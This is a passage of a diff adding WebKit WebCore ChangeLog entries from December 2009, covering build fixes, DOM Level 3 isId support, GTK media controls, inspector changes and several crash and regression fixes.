+        * page/EventHandler.cpp:
+        * page/Frame.cpp:
+        * page/FrameView.cpp:
+        * page/Navigator.cpp:
+        * page/PageGroup.cpp:
+        * page/Settings.cpp:
+        * page/mac/EventHandlerMac.mm:
+        * platform/KURL.h:
+        * platform/ScrollbarThemeComposite.cpp:
+        * platform/cf/BinaryPropertyList.cpp:
+        * platform/graphics/mac/GraphicsLayerCA.h:
+        * platform/graphics/win/WKCACFLayerRenderer.cpp:
+        * platform/mac/PopupMenuMac.mm:
+        * platform/mac/WidgetMac.mm:
+        * platform/network/cf/DNSCFNet.cpp:
+        * platform/text/StringImpl.cpp:
+        * platform/win/FileSystemWin.cpp:
+        * platform/win/PlatformScreenWin.cpp:
+        * platform/win/PopupMenuWin.cpp:
+        * platform/win/WidgetWin.cpp:
+        * plugins/PluginView.cpp:
+        * plugins/win/PluginViewWin.cpp:
+        * rendering/InlineTextBox.cpp:
+        * rendering/RenderBox.cpp:
+        * rendering/RenderFileUploadControl.cpp:
+        * rendering/RenderInline.cpp:
+        * rendering/RenderLayerCompositor.cpp:
+        * rendering/RenderObject.cpp:
+        * rendering/RootInlineBox.cpp:
+        * storage/DatabaseTracker.cpp:
+        * storage/DatabaseTracker.h:
+        * storage/SQLTransactionClient.cpp:
+        * svg/graphics/SVGImage.cpp:
+        Added now-needed #includes.
+
+2009-12-18  Shu Chang  <Chang.Shu@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        Implemented isId as specified by DOM Level 3. See detailed description below.
+        https://bugs.webkit.org/show_bug.cgi?id=5578
+
+        Added isId property and implementation:
+        Tests: dom/xhtml/level3/core/attrisid01-07.xhtml
+               fast/dom/Element/attrisid-extra01.html
+        * dom/Attr.cpp:
+        (WebCore::Attr::isId):
+        * dom/Attr.h:
+        * dom/Attr.idl:
+
+        Replaced instances of HTMLNames::idAttr with Element::idAttributeName()
+        for the reason that id attribute name could be customized to a different
+        string other than "id". A test case is associated to each code change.
+        * dom/Document.cpp:
+        (WebCore::Document::getElementById): Test: fast/dom/Element/id-in-getelement01.html
+        * dom/Element.cpp: Tests: dom/xhtml/level3/core/attrisid01-07.xhtml
+        (WebCore::Element::setAttribute):
+        (WebCore::Element::setAttributeMap):
+        (WebCore::Element::insertedIntoDocument):
+        (WebCore::Element::removedFromDocument):
+        (WebCore::Element::formatForDebugger):
+        (WebCore::Element::rareIDAttributeName):
+        * dom/Element.h: Added function idAttributeName().
+        (WebCore::Element::idAttributeName):
+        * dom/ElementRareData.h: Added member variable to store customized id name in ElementRareData.
+        (WebCore::ElementRareData::ElementRareData):
+        * dom/NamedAttrMap.cpp: Tests: dom/xhtml/level3/core/attrisid01-07.xhtml
+        (WebCore::NamedNodeMap::setNamedItem):
+        (WebCore::NamedNodeMap::removeNamedItem):
+        (WebCore::NamedNodeMap::setAttributes):
+        * dom/Node.cpp: Removed ASSERT as it may not hold any more.
+        (WebCore::Node::querySelector):
+        * dom/SelectorNodeList.cpp: Removed ASSERT as it may not hold any more.
+        (WebCore::createSelectorNodeList):
+        * dom/StyledElement.cpp: Tests: dom/xhtml/level3/core/attrisid01-07.xhtml
+        (WebCore::StyledElement::parseMappedAttribute):
+        * editing/DeleteButtonController.cpp: Test: fast/dom/Element/id-in-deletebutton.html
+        (WebCore::DeleteButtonController::createDeletionUI):
+        * editing/EditorCommand.cpp: Test: fast/dom/Element/id-in-insert-hr.html
+        (WebCore::executeInsertHorizontalRule):
+        * html/HTMLAppletElement.cpp: Test: fast/dom/Element/id-in-applet.html
+        (WebCore::HTMLAppletElement::parseMappedAttribute):
+        (WebCore::HTMLAppletElement::createRenderer):
+        * html/HTMLCollection.cpp:
+        (WebCore::HTMLCollection::checkForNameMatch): Test: fast/forms/select-namedItem.html
+        (WebCore::HTMLCollection::updateNameCache): Test: fast/dom/collection-namedItem-via-item.html
+        * html/HTMLDataGridColElement.cpp:
+        (WebCore::HTMLDataGridColElement::ensureColumn): Test: fast/dom/HTMLDataGridElement/DataGridColumns-dom.html
+        (WebCore::HTMLDataGridColElement::parseMappedAttribute): Test: fast/dom/HTMLDataGridElement/DataGridColumns-dom-attributes.html
+        * html/HTMLElement.cpp:
+        (WebCore::HTMLElement::parseMappedAttribute):
+        * html/HTMLFormCollection.cpp: Test: fast/dom/Element/id-in-formcollection.html
+        (WebCore::HTMLFormCollection::getNamedFormItem):
+        (WebCore::HTMLFormCollection::nextNamedItem):
+        (WebCore::HTMLFormCollection::updateNameCache):
+        * html/HTMLFrameElementBase.cpp: Test: fast/dom/Element/id-in-frame.html
+        (WebCore::HTMLFrameElementBase::parseMappedAttribute):
+        (WebCore::HTMLFrameElementBase::setNameAndOpenURL):
+        * html/HTMLImageElement.cpp: Test: fast/dom/Element/id-in-deletebutton.html
+        (WebCore::HTMLImageElement::parseMappedAttribute):
+        * html/HTMLMapElement.cpp: Test: fast/dom/Element/id-in-map.html
+        (WebCore::HTMLMapElement::parseMappedAttribute):
+        * html/HTMLNameCollection.cpp: Test: fast/dom/Element/id-in-frameset.html
+        (WebCore::HTMLNameCollection::itemAfter):
+        * html/HTMLObjectElement.cpp: Test: fast/dom/HTMLDocument/object-by-name-or-id.html
+        (WebCore::HTMLObjectElement::parseMappedAttribute):
+        * html/HTMLParamElement.cpp: Test: fast/dom/Element/id-in-param.html
+        (WebCore::HTMLParamElement::parseMappedAttribute):
+        * loader/CachedFont.cpp: Test: svg/custom/acid3-test-77.html
+        (WebCore::CachedFont::getSVGFontById):
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::createGraphicsLayer): Debug-only code
+        * rendering/SVGRenderTreeAsText.cpp: Test: svg/text/text-gradient-positioning.svg
+        (WebCore::writeRenderResources):
+        * svg/SVGElement.cpp: Test: svg/custom/acid3-test-77.html
+        (WebCore::SVGElement::insertedIntoDocument):
+        * svg/SVGStyledElement.cpp: Test: svg/custom/js-update-image-and-display.svg
+        (WebCore::SVGStyledElement::isKnownAttribute):
+        * wml/WMLElement.cpp:
+        (WebCore::WMLElement::parseMappedAttribute):
+
+2009-12-18  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Clean up the qmake build system to distinguish between trunk builds and package builds
+
+        https://bugs.webkit.org/show_bug.cgi?id=32716
+
+        Introduce standalone_package as config that is set when QTDIR_build is set or when
+        the directory for the generated files is present.
+
+        Renamed uses of QTDIR_build that apply to generic package builds to use standalone_package.
+        Others remain as they are specific to building inside Qt.
+
+        * WebCore.pro:
+
+2009-12-18  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Fix the build on Symbian.
+
+        Use QFont::lastRestortFamily() instead of QFont::lastRestortFont(),
+        which is a missing symbol in Qt 4.6.0 on Symbian.
+
+        Functionally they should be equivalent, according to the source.
+
+        * platform/graphics/qt/FontCacheQt.cpp:
+        (WebCore::FontCache::getLastResortFallbackFont):
+
+2009-12-18  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Xan Lopez.
+
+        [GTK] segfault during controls initialization if not GTK theme is present.
+        https://bugs.webkit.org/show_bug.cgi?id=32705
+
+        Create empty images for the controls if no GTK theme is set.
+
+        * platform/graphics/gtk/ImageGtk.cpp:
+        (WebCore::getThemeIconFileName):
+        (WebCore::loadImageFromFile):
+
+2009-12-18  Alejandro G. Castro  <alex@igalia.com>
+
+        Reviewed by Darin Adler.
+
+        REGRESSION (r38898): Using the up arrow in a textarea gets "stuck"
+        at the beginning.
+        https://bugs.webkit.org/show_bug.cgi?id=31920
+
+        Moving up from a position after the end of the previous lines
+        should use UPSTREAM affinity to render the caret in the previous
+        line.
+
+        Test: editing/selection/wrapped-line-caret-3.html
+
+        * rendering/RenderText.cpp:
+        (WebCore::RenderText::positionForPoint):
+
+2009-12-17  Eric Seidel  <eric@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        HTMLInputElement::stepMismatch() uses ambiguous overload of pow()
+        https://bugs.webkit.org/show_bug.cgi?id=32675
+
+        Use the double constant 2.0 instead of static_cast<double>(2).
+
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::stepMismatch):
+
+2009-12-17  Justin Schuh  <jschuh@chromium.org>
+
+        Reviewed by Dan Bernstein.
+
+        Bug 32357: SVG test case crashes WebKit (invalid font URL)
+        https://bugs.webkit.org/show_bug.cgi?id=32357
+
+        Added check for NULL return value from DocLoader::requestFont()
+
+        * svg/SVGFontFaceUriElement.cpp:
+        (WebCore::SVGFontFaceUriElement::loadFont):
+
+2009-12-17  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by Dan Bernstein.
+
+        marquee with display:inline causes crash
+        https://bugs.webkit.org/show_bug.cgi?id=32374
+
+        Test: fast/inline/inline-marquee-crash.html
+
+        * html/HTMLMarqueeElement.cpp:
+        (WebCore::HTMLMarqueeElement::start):
+        (WebCore::HTMLMarqueeElement::stop):
+        (WebCore::HTMLMarqueeElement::suspend):
+        (WebCore::HTMLMarqueeElement::resume):
+        (WebCore::HTMLMarqueeElement::renderMarquee):
+        * html/HTMLMarqueeElement.h:
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::styleChanged):
+
+2009-12-17  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for inspector's classes
+        https://bugs.webkit.org/show_bug.cgi?id=32660                               
+
+        Inherits the following classes from Noncopyable because these are
+        instantiated by 'new' and no need to be copyable:                                           
+
+        class name                  - instantiated at:  WebCore/'location'
+
+        class JavaScriptDebugServer - inspector/JavaScriptDebugServer.cpp:72
+        class ConsoleMessage        - inspector/InspectorController.cpp:329 
+        class InspectorController   - page/Page.cpp:119
+
+        * inspector/ConsoleMessage.h:
+        * inspector/InspectorController.h:
+        * inspector/JavaScriptDebugServer.h:
+
+2009-12-17  Steve Block  <steveblock@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Fixes HTMLInputElement::stepMismatch() to avoid ambiguous overload of pow().
+        https://bugs.webkit.org/show_bug.cgi?id=32675
+
+        Build fix only, no new tests.
+
+        * html/HTMLInputElement.cpp: Modified.
+        (WebCore::HTMLInputElement::stepMismatch): Cast first argument of pow to double to force 'double pow(double, int)'
+
+2009-12-17  Marc-Antoine Ruel  <maruel@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Fix link failure on LTCG builds on Windows for chromium port.
+
+        Reenable SVGAllInOne.cpp. This required some fixups.
+
+        Namely, there was conflicts in constants between HTMLNames and
+        SVGNames, and conflicts between static functions names.
+
+        No new tests as functionality has not changed.
+
+        * WebCore.gyp/WebCore.gyp:
+        * svg/SVGAllInOne.cpp:
+        * svg/SVGFontFaceElement.cpp:
+        (WebCore::SVGFontFaceElement::rebuildFontFace):
+        * svg/SVGGlyphElement.cpp:
+        (WebCore::SVGGlyphElement::invalidateGlyphCache):
+        (WebCore::SVGGlyphElement::buildGlyphIdentifier):
+        * svg/SVGHKernElement.cpp:
+        (WebCore::SVGHKernElement::insertedIntoDocument):
+        (WebCore::SVGHKernElement::removedFromDocument):
+        * svg/SVGStyleElement.cpp:
+        (WebCore::SVGStyleElement::type):
+        (WebCore::SVGStyleElement::setType):
+        (WebCore::SVGStyleElement::media):
+        (WebCore::SVGStyleElement::setMedia):
+        (WebCore::SVGStyleElement::title):
+        (WebCore::SVGStyleElement::setTitle):
+        (WebCore::SVGStyleElement::parseMappedAttribute):
+        * svg/SVGStyledElement.cpp:
+        (WebCore::mapAttributeToCSSProperty):
+        (WebCore::SVGStyledElement::cssPropertyIdForSVGAttributeName):
+        * svg/SVGStyledElement.h:
+
+2009-12-17  Adam Roben  <aroben@apple.com>
+
+        Chromium build fix VI
+
+        * svg/animation/SMILTimeContainer.h: Added now-needed #include.
+
+2009-12-17  Adam Roben  <aroben@apple.com>
+
+        Chromium build fix V
+
+        * platform/KURLGoogle.cpp: Added now-needed #include.
+
+2009-12-17  Adam Roben  <aroben@apple.com>
+
+        Chromium build fix IV
+
+        * loader/CrossOriginPreflightResultCache.h: Added now-needed
+        #includes.
+
+2009-12-17  Adam Roben  <aroben@apple.com>
+
+        Chromium build fix III
+
+        * platform/graphics/Font.h: Added now-needed #include.
+
+2009-12-17  Adam Roben  <aroben@apple.com>
+
+        Chromium build fix II
+
+        * dom/EventTarget.h: Added now-needed #include.
+
+2009-12-17  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Allow custom memory allocation control for js bindings
+        https://bugs.webkit.org/show_bug.cgi?id=32655
+
+        Inherits the following classes from Noncopyable because these are instantiated 
+        by 'new' and no need to be copyable:
+
+        class name                  - instantiated at:  WebCore/'location'
+
+        class ScriptCachedFrameData - history/CachedFrame.cpp:117
+        class WebCoreJSClientData   - bindings/js/JSDOMWindowBase.cpp:162
+        class ScheduledAction       - bindings/js/ScheduledAction.cpp:58
+
+        * bindings/js/JSDOMBinding.h:
+        * bindings/js/ScheduledAction.h:
+        * bindings/js/ScriptCachedFrameData.h:
+
+2009-12-17  Adam Roben  <aroben@apple.com>
+
+        Chromium build fix
+
+        * dom/QualifiedName.h: Added now-needed #include of HashTraits.h
+        (which itself #includes HashFunctions.h).
+
+2009-12-17  Pavel Feldman  <pfeldman@dhcp-172-28-174-220.spb.corp.google.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Incorrect Doctype.
+
+        REGRESSION(4.0.4-TOT):Web Inspector: Incorrect Doctype
+        https://bugs.webkit.org/show_bug.cgi?id=32671
+
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::buildObjectForNode):
+        * inspector/front-end/DOMAgent.js:
+        (WebInspector.DOMNode):
+
+2009-12-17  Benjamin Otte  <otte@gnome.org>
+
+        Reviewed by Adam Roben.
+
+        Don't include all JSC headers everywhere
+        https://bugs.webkit.org/show_bug.cgi?id=32663
+
+        Remove HashMap HashSet and OwnPtr includes from PlatformString.h.
+        Reduces code size of Gtk build by another 5%.
+
+        * platform/text/PlatformString.h:
+
+2009-12-17  Adam Roben  <aroben@apple.com>
+
+        Mac/Qt build fixes
+
+        * platform/graphics/mac/Canvas3DLayer.mm:
+        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+        * platform/qt/Localizations.cpp:
+        Added missing #includes.
+
+2009-12-17  Benjamin Otte  <otte@gnome.org>
+
+        Reviewed by Adam Roben.
+
+        Don't include all JSC headers everywhere
+        https://bugs.webkit.org/show_bug.cgi?id=32663
+
+        PlatformString.h included almost all of JSC via runtime/Identifier.h.
+        This patch gets rid of this include by forward-declaring the required
+        classes instead.
+        This reduces the build size of the object files on a Gtk debug build
+        by 10%. The resulting libwebkit.so gets 5% smaller.
+
+        No new tests as it's just a build improvement.
+
+        * platform/gtk/LocalizedStringsGtk.cpp:
+        include math.h here (it used to be pulled by JSC)
+        * platform/text/PlatformString.h:
+        * platform/text/String.cpp:
+
+2009-12-17  Evan Martin  <evan@chromium.org>
+
+        Reviewed by Xan Lopez.
+
+        Always use all WebCore include paths in GtkWebKit.
+
+        With this patch, I can disable all optional features and still build.
+
+        * GNUmakefile.am:
+
+2009-12-17  Yaar Schnitman  <yaar@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Added WebPageSerializer to WebKit API.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31737
+
+        * platform/text/StringBuilder.cpp: Added methods to make StringBuilder even more useful for large scale string concatenation.
+        (WebCore::StringBuilder::clear):
+        (WebCore::StringBuilder::length):
+        * platform/text/StringBuilder.h:
+
+2009-12-10  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Xan Lopez.
+
+        [GTK] Add controls for playing html5 video.
+        https://bugs.webkit.org/show_bug.cgi?id=26304
+
+        Media controls UI, first step. This patch was written by Zan
+        Dobersek. In addition I fixed the compilation errors and
+        re-enabled some of the media tests involving the controls UI.
+
+        * GNUmakefile.am:
+        * css/mediaControlsGtk.css: Added.
+        * platform/graphics/Image.h:
+        * platform/graphics/gtk/ImageGtk.cpp:
+        (WebCore::getThemeIconFileName):
+        (WebCore::loadResourceSharedBuffer):
+        (WebCore::loadImageFromFile):
+        (WebCore::Image::loadPlatformResource):
+        (WebCore::Image::loadPlatformThemeIcon):
+        * platform/gtk/RenderThemeGtk.cpp:
+        (WebCore::getMediaElementFromRenderObject):
+        (WebCore::getIconNameForTextDirection):
+        (WebCore::RenderThemeGtk::initMediaStyling):
+        (WebCore::RenderThemeGtk::RenderThemeGtk):
+        (WebCore::RenderThemeGtk::~RenderThemeGtk):
+        (WebCore::supportsFocus):
+        (WebCore::RenderThemeGtk::baselinePosition):
+        (WebCore::paintMozWidget):
+        (WebCore::setToggleSize):
+        (WebCore::RenderThemeGtk::adjustSliderThumbSize):
+        (WebCore::RenderThemeGtk::gtkContainer):
+        (WebCore::RenderThemeGtk::platformColorsDidChange):
+        (WebCore::RenderThemeGtk::extraMediaControlsStyleSheet):
+        (WebCore::paintMediaButton):
+        (WebCore::RenderThemeGtk::paintMediaFullscreenButton):
+        (WebCore::RenderThemeGtk::paintMediaMuteButton):
+        (WebCore::RenderThemeGtk::paintMediaPlayButton):
+        (WebCore::RenderThemeGtk::paintMediaSeekBackButton):
+        (WebCore::RenderThemeGtk::paintMediaSeekForwardButton):
+        (WebCore::RenderThemeGtk::paintMediaSliderTrack):
+        (WebCore::RenderThemeGtk::paintMediaSliderThumb):
+        * platform/gtk/RenderThemeGtk.h:
+
+2009-12-17  Yael Aharon  <yael.aharon@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] support navigator.onLine and ononline/onoffline events.
+        https://bugs.webkit.org/show_bug.cgi?id=32555
+
+        Hooked up Bearer Management to NetworkStateNotifier. This solution is available 
+        only if QtMobility's Bearer Management is installed.
+
+        * WebCore.pro:
+        * platform/network/NetworkStateNotifier.h:
+        * platform/network/qt/NetworkStateNotifierPrivate.h: Added.
+        * platform/network/qt/NetworkStateNotifierQt.cpp: Added.
+        (WebCore::NetworkStateNotifierPrivate::NetworkStateNotifierPrivate):
+        (WebCore::NetworkStateNotifierPrivate::onlineStateChanged):
+        (WebCore::NetworkStateNotifierPrivate::~NetworkStateNotifierPrivate):
+        (WebCore::NetworkStateNotifier::updateState):
+        (WebCore::NetworkStateNotifier::NetworkStateNotifier):
+
+2009-12-17  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Switch to 11px as default for source-code in WebKit.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32646
+
+        * inspector/front-end/inspector.css:
+
+2009-12-17  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Symbian build fix: Don't include QtXml/qxmlstream.h but omit the prefix, to
+        make sure we pick up the header file from QtCore. That is where the implementation
+        is compiled.
+
+        * dom/XMLTokenizer.h:
+
+2009-12-17  Martin Robinson  <martin.james.robinson@gmail.com>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        [GTK] WebKit GTK needs a wrapper for ref counted glib/gobject structs
+        https://bugs.webkit.org/show_bug.cgi?id=21599
+
+        Add GRefPtr support for GTK types to WebCore, as JSC does not link against
+        GTK+. Also convert PopupMenu::m_poup from a raw pointer to a GRefPtr.
+
+        No new tests as functionality has not changed.
+
+        * GNUmakefile.am:
+        * platform/PopupMenu.h:
+        * platform/gtk/GRefPtrGtk.cpp: Added.
+        (WTF::refGPtr):
+        (WTF::derefGPtr):
+        * platform/gtk/GRefPtrGtk.h: Added.
+        * platform/gtk/PopupMenuGtk.cpp:
+        (WebCore::PopupMenu::PopupMenu):
+        (WebCore::PopupMenu::~PopupMenu):
+        (WebCore::PopupMenu::show):
+        (WebCore::PopupMenu::hide):
+        (WebCore::PopupMenu::menuRemoveItem):
+
+2009-12-17  Mikhail Naganov  <mnaganov@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Advice links to source code in CPU profiler to open in debugger,
+        not in resources tab.
+
+        Also work around the case when resources are disabled, but scripts are present.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32610
+
+        * inspector/front-end/Panel.js:
+        (WebInspector.Panel.prototype.updateMainViewWidth):
+        (WebInspector.Panel.prototype.canShowSourceLineForURL):
+        (WebInspector.Panel.prototype.showSourceLineForURL):
+        * inspector/front-end/ProfileDataGridTree.js:
+        (WebInspector.ProfileDataGridNode.prototype.createCell):
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel.prototype.canShowSourceLineForURL):
+        (WebInspector.ResourcesPanel.prototype.showSourceLineForURL):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel.prototype.scriptForURL):
+        (WebInspector.ScriptsPanel.prototype.canShowSourceLineForURL):
+        (WebInspector.ScriptsPanel.prototype.showSourceLineForURL):
+        (WebInspector.ScriptsPanel.prototype._showScriptOrResource):
+        * inspector/front-end/inspector.js:
+        (WebInspector.documentClick.followLink):
+        (WebInspector.documentClick):
+        (WebInspector._choosePanelToShowSourceLineForURL):
+        (WebInspector.canShowSourceLineForURL):
+        (WebInspector.showSourceLineForURL):
+
+2009-12-15  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Xan Lopez.
+
+        [GTK] display FPS stats for video element
+        https://bugs.webkit.org/show_bug.cgi?id=32560
+
+        Display FPS statistics if WEBKIT_DEBUG environment variable
+        contains the Media log category. This feature requires a very
+        recent (>= 0.10.18) version of gst-plugins-bad.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::~MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::createGSTPlayBin):
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.h:
+
+2009-11-11  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        [GStreamer] Should emit {networkState,readyState,volume,time,size,rate,duration}Changed signals
+        https://bugs.webkit.org/show_bug.cgi?id=30377
+
+        Emit volumeChanged and durationChanged upon notification from
+        GStreamer.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::mediaPlayerPrivateMessageCallback):
+        (WebCore::mediaPlayerPrivateVolumeCallback):
+        (WebCore::notify_volume_idle_cb):
+        (WebCore::MediaPlayerPrivate::didEnd):
+        (WebCore::MediaPlayerPrivate::durationChanged):
+        (WebCore::MediaPlayerPrivate::createGSTPlayBin):
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.h:
+
+2009-12-16  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        [GTK] segfault during volume notification
+        https://bugs.webkit.org/show_bug.cgi?id=32603
+
+        Emit volumeChanged and durationChanged upon notification from
+        GStreamer. Also don't reset the volume property on playbin, it is
+        not needed as it is 1.0 by default both on playbin and in the
+        MediaPlayer.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::mediaPlayerPrivateMessageCallback):
+        (WebCore::mediaPlayerPrivateVolumeChangedCallback):
+        (WebCore::notifyVolumeIdleCallback):
+        (WebCore::doGstInit):
+        (WebCore::MediaPlayerPrivate::isAvailable):
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::~MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::volumeChanged):
+        (WebCore::MediaPlayerPrivate::didEnd):
+        (WebCore::MediaPlayerPrivate::durationChanged):
+        (WebCore::mimeTypeCache):
+        (WebCore::MediaPlayerPrivate::createGSTPlayBin):
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.h:
+
+2009-12-17  Evan Martin  <evan@chromium.org>
+
+        Reviewed by Xan Lopez.
+
+        gtk: always use standard include paths, regardless of settings.
+        WebKit style is to wrap the body of a header in #if ENABLE(FOO),
+        so they're always safe to include whether the features are enabled or
+        not.
+
+        This fixes building with --disable-database and other flags.
+
+        * GNUmakefile.am:
+
+2009-12-17  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Unreviewed. Build fixes for make distcheck.
+
+        * GNUmakefile.am:
+
+2009-12-17  Philippe Normand  <pnormand@igalia.com>
+
+        Rubber-stamped by Gustavo Noronha Silva.
+
+        Trivial WebKit coding style fix.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::paint):
+
+2009-12-15 MORITA Hajime <morrita@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        Bug 28306: double-clicking a word inside <b> beside newline select two words
+        https://bugs.webkit.org/show_bug.cgi?id=28306
+        
+        SimplifiedBackwardsTextIterator missed trailing whitespaces just
+        before folding line-break, which is used to detect word
+        boundaries. This fix checks strings on RenderText and expand text
+        range on SimplifiedBackwardsTextIterator to include trailing
+        whitespaces if availble.
+
+        Test: editing/selection/doubleclick-beside-cr-span.html
+
+        * editing/TextIterator.cpp:
+        (WebCore::collapsedSpaceLength):
+        (WebCore::maxOffsetIncludingCollapsedSpaces):
+        (WebCore::SimplifiedBackwardsTextIterator::advance):
+
+2009-12-16  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Fix flakiness in WebSocket handshake console message.
+        https://bugs.webkit.org/show_bug.cgi?id=32598
+
+        In chromium, LayoutTests/websocket/tests/handshake-error.html is
+        flaky, because it outputs the following console message several times:
+          CONSOLE MESSAGE: line 0: Unexpected response code:101
+        Update m_mode in WebSocketHandshake correctly: Once it finds
+        error in handshake message, set m_mode to Failed and don't try
+        reading handshake message again.  If handshake message is not yet
+        fully received, set m_mode to Incomplete, so next didReceiveData()
+        will try to check handshake message again.
+
+        * websockets/WebSocketChannel.cpp:
+        (WebCore::WebSocketChannel::didReceiveData):
+        * websockets/WebSocketHandshake.cpp:
+        (WebCore::WebSocketHandshake::readServerHandshake):
+
+2009-12-16  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        MSAA: Accessibility role of text nodes is wrong
+
+        https://bugs.webkit.org/show_bug.cgi?id=32631
+        <rdar://problem/7369084>
+
+        Reviewed by Alice Liu.
+
+        Test: platform/win/accessibility/text-role.html
+
+        * accessibility/AccessibilityObject.h:
+        (WebCore::):
+        Add a new role to the enum.
+        (WebCore::AccessibilityObject::roleValueForMSAA):
+        Declare a function to return the accessibility role for MSAA; the base
+        implementation returns the old role value.
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::AccessibilityRenderObject):
+        Initialize m_roleForMSAA.
+        (WebCore::AccessibilityRenderObject::roleValueForMSAA):
+        If m_roleForMSAA has been set, return it. If the renderer is a
+        RenderText, set the role to EditableTextRole to match IE and Firefox.
+        Otherwise, set the role for MSAA to the old role value.
+
+        * accessibility/AccessibilityRenderObject.h:
+        Add a member to hold the role for MSAA, and declare an override of
+        roleValueForMSAA().
+
+2009-12-16  Eric Seidel  <eric@webkit.org>
+
+        No review, rolling out r52206.
+        http://trac.webkit.org/changeset/52206
+        https://bugs.webkit.org/show_bug.cgi?id=31187
+
+        This broke pixel tests on Mac.  Presumably the code in
+        ImageCG is wrong here.
+
+        * platform/graphics/BitmapImage.h:
+        * platform/graphics/GeneratedImage.cpp:
+        (WebCore::GeneratedImage::drawPattern):
+        * platform/graphics/GeneratedImage.h:
+        * platform/graphics/Image.cpp:
+        (WebCore::Image::drawTiled):
+        * platform/graphics/Image.h:
+        * platform/graphics/cairo/ImageCairo.cpp:
+        (WebCore::Image::drawPattern):
+        * platform/graphics/cg/ImageCG.cpp:
+        (WebCore::Image::drawPattern):
+        * platform/graphics/haiku/ImageHaiku.cpp:
+        (WebCore::Image::drawPattern):
+        * platform/graphics/qt/ImageQt.cpp:
+        (WebCore::Image::drawPattern):
+        * platform/graphics/skia/ImageSkia.cpp:
+        (WebCore::Image::drawPattern):
+        * platform/graphics/wince/GraphicsContextWince.cpp:
+        (WebCore::GraphicsContext::drawBitmapPattern):
+        * platform/graphics/wince/ImageBufferWince.cpp:
+        (WebCore::):
+        (WebCore::BufferedImage::drawPattern):
+        * platform/graphics/wx/ImageWx.cpp:
+        (WebCore::BitmapImage::drawPattern):
+        (WebCore::Image::drawPattern):
+
+2009-12-16  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by David Levin.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32637
+        [V8] Generate most named property getters.
+
+        Covered by existing tests.
+
+        * bindings/scripts/CodeGeneratorV8.pm: Added generation of SetNamedPropertyHandler call.
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getTemplate): Removed now-generated SetNamedPropertyHandler callsites.
+
+2009-12-16  Luiz Agostini  <luiz.agostini@openbossa.org>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] Implement combobox delegate for Qt
+        https://bugs.webkit.org/show_bug.cgi?id=32550
+
+        Abstract popup menu factory.
+
+        A static method from QtAbstractPopupMenu is used to create its instances. If a factory
+        has been suplied to class QtAbstractPopupMenu the factory will be used to create the
+        objects. If not an instance of QtFallbackPopupMenu will be created.
+
+        The objective is to make it easy to replace the combobox popup at WebCore layer providing
+        support to the combobox popup delegation API. Future patches will make it possible to
+        replace the combobox popup at WebKit layer.
+
+        No behavior changes.
+
+        * platform/qt/PopupMenuQt.cpp:
+        (WebCore::PopupMenu::PopupMenu):
+        * platform/qt/QtAbstractWebPopup.cpp:
+        (WebCore::QtAbstractWebPopup::setFactory):
+        (WebCore::QtAbstractWebPopup::create):
+        * platform/qt/QtAbstractWebPopup.h:
+        * platform/qt/QtFallbackWebPopup.cpp:
+
